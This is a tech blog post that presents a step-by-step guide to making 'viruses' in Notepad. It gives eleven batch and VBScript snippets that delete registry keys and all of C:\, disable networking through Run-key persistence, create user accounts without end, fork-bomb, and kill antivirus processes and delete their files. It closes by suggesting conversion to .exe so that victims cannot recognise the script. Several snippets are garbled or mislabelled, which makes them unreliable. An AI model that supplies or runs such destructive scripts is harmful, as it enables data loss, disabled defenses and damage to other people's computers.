I do not know for what reason exactly, but many people do want to know how to make a virus in Computer. Many of us just assume that this would be a process needing high technology knowledge. However, let me tell you, it is very easy to create a computer virus. As much easy that even a kid can do so. So be aware!
Given below is a complete guide on how to make a computer virus. Although there could be numerous ways of creating a virus, below is the simplest one we have shared.
Download now : Spotify Premium Apk for unlimited free music
With the help of Notepad, you can create a virus on PC. Surprised? Well, you will know when it works. However, do not try to do is on the PC you use.
Disclaimer – A PC Virus is a dangerous thing for any PC. The article below is only for knowledge purpose. Do not try this on your own working PC. We at techymarvel.com are not responsible for any damage caused to your PC by performing the below steeps.
Contents
How to Make a Virus : Notepad Tricks
The procedure of making virus in Notepad is very simple. All you have do is follow the one basic step and then use any of the below mentioned codes to create a particular type of virus.

We will be creating a Notepad virus executable (.exe) with the help of batch scripting. Batch scripting means a text file that consists of a series of commands that are executed automatically when the file runs.
The virus created using a batch file is dangerous enough to delete files on your PC. It disables the antivirus, steals data information, disables firewall, etc. It also formats drives like C:/ drive, E: drive, etc.
We would again mention this to you all that this post is for educational purpose. Do not perform it on your PC.
So here we go –
Step 1. To begin with, Open the Notepad of your PC.
Step 2. Copy the below virus source codes one by one and paste them using the key combination – Ctrl+V. Make sure to paste these different virus commands in a different line.
1. Delete Key Registry Files
This code is dangerous and deletes key registry files. It will then loop a message.
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed.Your Dad.
GOTO MESSAGE
2. Endless Enter
As the command says it all, entering this code in the notepad will cause endless enter buttons pressed continuously.
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
3. Disable Internet Permanently
The internet of your PC will be disabled permanently.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE
4. User Account Flooder
Number of user accounts will be created on the PC if this code is entered in the Notepad.
@echo off
:xnet
user %random% /add
goto x
5. Popping CD Drivers
Entering this code will make the CD Drivers popping up.
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
6. Endless Notepads
For endless notepads, enter the below code on notepad.

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
7. Windows Hacker
This code will delete the complete C:\ Drive and this will be unrecoverable.
@Echo off
Del C:\ *.* |y
8. Unlimited Process Creator
For unlimited background processes to start in notepad, enter the code below –
%0|%0
9. Antivirus Disable
In case you want to disable the Antivirus on any PC, enter this code in the Notepad.
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem
10. Application Bomber
As the name says, this code will initiate a number of applications on the PC continuously and thus cause heavy load on your PC
@echo off:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
11. Folder Flooder
For unlimited number of folders, enter the command below –
@echo off:x
md %random%
/folder.
goto x
Concluding Part –
These were the Virus Source Codes. Since you will create these viruses in Notepad using Batch Script anyone can easily find out your deeds and delete it if they find it to be harmful.
But you can get over with this drawback as well by using the tool – ‘Batch to Executable Converter’. This will convert the .bat file extension into the ‘.exe’ file extension and this Batch file will be converted into a Windows 10 Application.
I assume you have all found these source codes of some good use. And I hope you have not done it on your own PC. This article was meant for knowledge purpose and any misuse of it is not encourage.
Thank you.